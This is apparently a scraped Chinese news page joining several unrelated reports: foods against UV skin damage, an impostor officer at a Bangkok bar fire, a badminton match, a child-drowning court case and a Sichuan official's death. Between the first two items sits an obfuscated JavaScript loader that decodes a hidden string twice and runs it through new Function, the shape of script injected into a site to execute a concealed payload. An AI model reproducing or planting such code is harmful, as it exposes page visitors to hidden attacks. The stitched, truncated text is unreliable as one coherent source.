可选择饮用绿茶，茶多酚具有强大的抗氧化作用，可减少紫外线对皮肤造成的氧化压力。 5.维他命A 可选择红萝卜、菠菜、番茄及南瓜，含有丰富的维他命A能维持皮肤的正常角化与健康。 6.维他命C 可选择番石榴、奇异果、甜椒及西兰花。维他命C不仅参与胶原蛋白的形成，更是极为重要的抗氧化营养素。 7.花青素 可选择蓝莓、黑莓、提子、士多啤梨及红石榴。花青素能帮助肌肤对抗自由基，维持肌肤健康。 8.谷胱甘肽 可选择椰菜、白萝卜、芦笋等十字花科蔬菜。谷胱甘肽是人体极重要的抗氧化物质，可透过均衡饮食帮助维持。 此外，高敏敏亦指出，日常也可多进食番茄、西瓜、莓果、三文鱼、黄豆制品等富含抗氧化营养素的食物，有助降低紫外线带来的氧化伤害。 没有食物能“吃了就变白” 附日常保养贴士 她特别提醒，没有任何一种食物可以“吃了就变白”，亦绝对没有食物能完全取代防晒产品的作用。想拥有健康透亮的肤色，必须“由内养、由外防”双管齐下： ·保持均衡饮食 ·坚持每日做好防晒 ·确保睡眠充足 ·减少吸烟、尽量少熬夜 ·出门前20分钟提早涂抹防晒 ·进行户外活动时，穿着具备UPF防晒系数的衣物 ·搭配防晒帽、防紫外线阳伞等物理性防晒工具  T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var...

泰国曼谷翟道翟区Rong Beer Na Lat Phrao酒吧周日深夜发生大火，造成逾百人死伤，事件惊动总理阿努廷到场视察，但当天核心圈其中一名军警，竟被发现是“冒牌货”！这个人周四到警署自首，警方对他提出4项指控，包括冒充公职人员和未经许可持有军用装备。 警方周三表示，现场照片和影片拍到这名可疑人物奇塔蓬（Chitapong “Muad Nut” Khattapong），身穿军装，在酒吧警戒区域内自由活动。他甚至以官员身份接受媒体采访，提供了警方指控为不实的资讯。 曼谷翟道翟附近酒吧Rong Beer Na Lat Phrao大火，伤亡惨重。 美联社   曼谷翟道翟附近酒吧Rong Beer Na Lat Phrao大火，伤亡惨重。 美联社   曼谷翟道翟附近酒吧Rong Beer Na Lat Phrao大火，伤亡惨重。 美联社   曼谷翟道翟附近酒吧Rong Beer...

香港羽毛球第一混双组合邓俊文、谢影雪休战国际赛一个半月后，本周到东京出战超级750的日本公开赛，周四跟香港后辈组合陈延泽、吴芷柔16强“内讧”，在半小时的激战后，“邓谢配”以21:15、21:10胜出，周五8强将硬碰争取本赛“三连冠”的国家“世二”组合蒋振邦、魏雅欣，期望一雪2024年同一比赛决赛败仗之仇。 邓谢配胜出内讧战，希望在日本福地再创佳绩。资料图片   陈延泽及吴芷柔合作时间不足一年，但取得不俗的成绩。资料图片   混双八强上演2024同一比赛决赛翻版 世界排第8的“邓谢配”及排32位的“泽柔配”今仗可以说是下周日（26号）假伊馆举行的全港羽毛球锦标赛的混双决赛的首轮交锋，今日首局比赛，双方在初段只是一、两分差距，俊文及阿雪曾处于落后位置，但很快在小休前已收复失分，首局以21:15先拔头筹，次局，“邓谢配”已捉到对方的路数，以21:10完场；相信大家都期望这两对混双组合下周日在伊馆的全港赛决赛再斗过。 邓谢配今年上半年经历高低，对即将举行的世锦赛及亚运会都是一个很好的提醒。资料图片   俊文乐见“泽柔配”冒起：对彼此都得益 俊文在赛前曾谈到“泽柔配”合作才约10个月，近月成绩十分鼓舞，曾短暂跟芷柔合作混双的阿俊文说：“我们平时都是一齐训练，他们冒起对我们绝对是一个良性竞争，对彼此都是好事，可以互相得益，促进大家的世界排名及国际赛成绩一齐上。”“邓谢配”在今仗首圈先以2:0击败土耳其组合。 上半季经历高低  休战国际赛一个半月重整旗鼓 “邓谢配”曾于2024年日本公开赛取得亚军，当时的冠军正是周五的8强对手“振欣配”（蒋振邦、魏雅欣），今季上半季成绩喜乐参半，先在3月历史性夺得全英锦标赛铜牌，但在4月的亚洲锦标赛以卫冕组合首圈止步，俊文表示是心态使然：“纯粹是我自己的感受，我同阿雪复出（2025年4年）复出的目标是争亚洲冠军及全英奖牌，这些我们都未试过，完了这两个目标后有少少完成了‘愿望清单’，由4月亚锦成绩做得不好后，打后的比赛有少少浮浮沉沉，发挥未如理想，是心态影响发挥。” “经过这2个多月的浮沉后，跟教练团总结这阵子的表现后，大家都觉得‘我们输到冇嘢输’，可能心态放松了点，上一个半月无论是身心都调整好去迎战未来的比赛，特别是9月的亚运会，好彩仍有时间给我们透一透气、总结表现。” 李卓耀在日本公开赛１６强不敌日本对手，提早出局。资料图片   男单女双同遭对手反胜 男单方面，香港男一李卓耀有点可惜，他在首圈先以2:0击败国家队代表陆光祖，今日对日本的田中涌士，港将先赢首局21:14下，被对手连追2局，最终以10:21、11:21止步次圈。 杨雅婷（左）及杨霈霖（右）在先胜对手一局下被反胜，无缘更进一步。资料图片   女双的“双杨配”杨雅婷、杨霈霖亦十分可惜，她们跟世界排名第4的日本老将组合福岛由纪及松本麻佑打足3局，香港先胜21:19，但次局以14:21被对手追和，决胜局只是一、两分差距，但最终以19:21无缘再进一级。 记者：徐嘉华

近日，广西一宗震惊社会的4岁女童泳池溺毙案完成司法判决，引发广泛关注。案中不幸离世的4岁女童“小英（化名）”，早前在屋苑泳池溺水长达6分05秒，经送院抢救后宣告不治。事发当天，小英的母亲因回家做饭，委托叔叔在泳池边帮忙看护女儿。不料，该名叔叔在现场全程紧盯手机萤幕，完全没有留意姪女的动向，最终酿成惨剧。 女童未穿戴救生设备 更令人痛心的是，小英当时溺水的位置，就在1号救生台前仅约1米处。然而，当天在该岗位值守的，竟是一名“无牌（无救生员执照）”的代班人员，其全程没有发现出事，直到女童体力不支沉入池底，才被其他泳客发现。 经当地警方及相关部门调查，该泳池依规设有3个救生岗位，但事发时仅有2名持牌救生员在场。原本值守1号台的持牌救生员因请假，泳池方竟私下安排无牌人员顶替。 此外，小英当时身高不足，且未穿戴任何救生设备独自走入深水区，随即发生溺水惨剧。 事后，悲痛欲绝的家属入禀法院，向多方索偿108万余元人民币。法院审理后认为，泳池经营方未配备足够的合格救生人员，存在重大安全过失，判决须赔偿86万余元人民币（约占80%责任）；而监护人（家属）未尽到妥善看管责任，则须自负20%的责任。

官方《四川日报》旗下新媒体“川观新闻”引述“黄瑞雪同志治丧工作小组”称，四川省政府副省长、公安厅党委书记、厅长黄瑞雪因突发疾病经抢救无效，于7月15日20时30分不幸离世，享年54岁。 公开资料显示，黄瑞雪，1972年2月生，江西人，曾任公安部刑侦局政委，公安部办公厅党委书记、主任，甘肃省副省长、省公安厅厅长等职，2025年7月任四川省副省长、省公安厅厅长。